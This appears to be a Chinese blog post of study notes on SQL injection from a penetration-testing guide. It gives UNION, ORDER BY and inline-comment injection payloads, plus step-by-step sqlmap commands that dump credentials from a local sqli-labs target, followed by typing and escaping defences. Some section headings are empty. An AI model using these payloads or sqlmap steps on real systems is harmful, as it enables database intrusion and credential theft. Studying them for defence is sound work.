Web安全攻防渗透测试实战指南-第四章-Web安全原理剖析

 

SQL注入的基础

介绍SQL注入

SQL注入就是利用开发人员动态使用SQL语句产生的漏洞进行数据库攻击。以PHP语句为例:

$query="SELECT * FROM users WHERE id=$_GET ['id'] ";

SQL注入就是指web应用程序对用户输入数据的合理性没有明确判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

SQL注入按照不同的分类方法可以分为很多种,如报错注入、盲注、Union注入等。

SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件。

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的。
  • 参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

当传入的ID参数为1' 时,数据库执行的代码如下所示。

select * from users where id=1'

这不符合数据库语法,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。

select * from users where id=1 and 1=1

因为1=1为真,且where语句中的id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与ID=1不同的结果。由此可以初步判断ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。

在实际环境中,范式满足以上两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数界不可信”的原则进行开发。

与MySQL注入相关的知识点

1.获取元数据

在MySQL5.0版本之后,MySQL默认在数据库中存放一张个'information_schema"的数据库,在该库中,读着需要记住三个表名,分别是SCHEMATA、TABELS和COLUMNS。

SCHEMATA表存放该用户创建的所有数据库的库名,如图所示,需要记住库名字段为SCHEMA_NAME。

查询用户数据库名称

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1

语句的含义是从INFORMATION_SCHEMA.SCHEMATA中查询出第一个数据库的名称。

TABLES表存储该用户创建的所有数据库的库名和表明,如图所示,我们需要记住该表中记录数据库名和表名的字段分别为TABLE_SCHEMA和TABLE_NAME。(在我这个版本中没找到)

查询当前数据库表

select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= (select DATABASE()) limit 0,1

从INFORMATION_SCHEMA.TABLES表中查询当前数据库表,并显示第一条数据。

COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,如图所示。要记住该表中记录数据库库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NMAE。 

 2.MySQL查询语句

在不知道任何条件时,语句如下所示。

SELECT 要查询的字段名 FROM 库名.表名

在知道一条已知条件时,语句如下所示。

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名='已知条件的值'

在知道两条已知条件时,语句如下所示。

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名='已知条件1的值' AND 已知条件2的字段名='已知条件2的值' 

2.limit的用法

limit的使用格式为limit m, n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit 0, 1表示从第1条记录开始,取1条记录。

3.需要记住的几个函数

  • database() :当前网站使用的数据库。
  • version() :当前MySQL的版本。
  • user() :当前MySQL的用户。

4.注释符

在MySQL中,常见注释符的表达方式:#或--空格或/* */。

5.内联注释

内联注释的形式:/*!code*/。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,例如:

index.php?id=-15/*! UNION*//*! SELECT*/1, 2, 3

Order by子句

order by为select查询的列排序。攻击者通常会注入order by来判断此表的列数。

1.select id, username, password from users where id =1 ——SQL正常执行

2.select id, username, password from users where id = 1 Order by 1 ——按照第一列排序,SQL执行正常

3.select id, username, password from users where id = 1 Order by 2 ——按照第二列排序,SQL抛出异常如下。

由此可以判断出该表有几列。 

在得知列数后,可以配合UNION关键字进行下一步的攻击。

union查询

Union查询用于把来自许多select语句的结果组合到一个结果集合中,并每列的数据类型必须相同。注意:

  • 所有查询中的列数必须相同
  • 数据类型必须兼容。

例一:联合查询探测字段数

select id, username, password from users where id = 1 union select null

系统发出异常,递归查询,直到无错误产生,可得知users表查询的字段数:

union select null, null

union select null, null, null

也有人喜欢用 union select 1,2,3语句,不过容易出现类型不兼容的异常。

例二:联合查询敏感信息(这个是SQLserver的)

例一介绍了如何获得字段数,接下来介绍如何使用union查询敏感信息。

如果得知列数为4,可以使用以下语句继续注入:

id=5 union select 'x', null, null, null from sysobject where xtype='U'

如果第1列数据类型不匹配,数据库将会报错,这时可以继续递归查询,直到语句执行正常为止。

语句执行正常,代表数据类型兼容,可以将x换为SQL语句,查询敏感信息。

MySQL函数利用

显错式注入

宽字节注入

长字符截断

延时注入

注入工具

SQLMap

  • 支持MySQL、Oracle、PostgreSQL、SQL Server、Access、SQLite等数据库
  • 注入类型包括盲注、Union注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术;
  • 支持枚举用户、密码哈希、权限、角色、数据库、表和列;
  • 支持执行任意命令
  • 自动识别密码加密方式,并可以使用字典解密
  • 支持数据导出功能。

以sqli-lab为例,已知注入点http://localhost/sqli-labs/Less-2/?id=1,使用SQLMap对其提取管理员数据,具体步骤如下。

第一步:判断是否是注入点。

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1"

使用-u参数指定URL,如果URL存在注入点,将会显示出Web容器、数据库版本信息,结果如下:

web application technology: Apache 2.4.46, PHP 5.6.40

back-end DBMS: MySQL >= 5.6

第二步:获取数据库。

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --dbs

第三步:查看当前应用程序所用数据库。

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --current-db

第四步:列出指定数据库的所有表。

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --table -D "bbs"

第五步:读取指定表中的字段名称。

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --columns -T "User" -D “bbs"

第六步:读取指定字段内容。

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --dump -C "UserName,password,email" -T "[User]" -D "bbs"

--dump参数意为转存数据,-C参数指定字段名称,-T指定表名(User属于数据库关键词,所以建议加[]),-D指定数据库名称。

防止SQL注入

SQL注入问题最终归于用户可以控制输入,SQL注入、XSS、文件包含、命令执行都可归于此。在使用程序语言对用户输入过滤时,首先要考虑的是用户的输入是否合法。但是这一任务太难,程序根本无法识别。

 严格的数据类型

Java、c#等强类型语言几乎可以完全忽略数字型注入。例如,请求id为1的新闻,其url: www.abc.com/news.jsp?id=1,在程序代码中可能为:

int id = Integer.parseInt(request.getParameter("id"));

//接受id参数,并转化为int类型

News news = newsDao.findNewById(id); //查询新闻列表

攻击者想要在此代码中注入是不可能的。数据类型处理正确后,足以抵挡数字型注入。

像PHP、ASP,并没有强制要求处理数据类型,由语言自行推导。假设ID=1,则推导数据类型为Integer,ID=str,则推导ID为string,这一特点在弱类型语言中是相当不安全的。如:

$id = $_GET['id'];

$sql = "select * from news where id = $id; ";

$news = exec($sql);

攻击者可能把id参数变为 1 and 1=2 union select username, password from users;--,这里并没有对$id变量转换数据类型,PHP自动把变量$id推导为string类型,带入数据库查询,造成SQL注入漏洞。

防御数字型注入相对是比较简单的,只需要在程序中严格判断数据类型即可,如使用is_numeric()、ctype_digit()等函数判断数据类型,即可解决数字型注入。

特殊字符转义

字符型无法通过类型验证来防止注入,因为都是string类型。所以要对特殊字符进行转义,因为在数据库查询字符串时,任何字符串都必须加上单引号。既然知道攻击者在字符型注入中必然会出现单引号等特殊字符,那么将这些特殊字符转义即可防御字符型SQL注入。例如:用户搜索数据:

http://www.abc.com/news?tag=电影

SQL注入语句如下:

select title, content from news where tag='%电影' and 1 = 2 union slect username, password from users -- %'

防止SQL注入应该在程序中判断字符串是否存在敏感字符,如果存在,则根据相应的数据库进行转义。如MySQL用“\”转义,如果以上代码使用数据库为MySQL,那么转义后的SQL语句如下:

select title, content from news where tag='%电影\' and 1 = 2 union slect username, password from users -- %'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值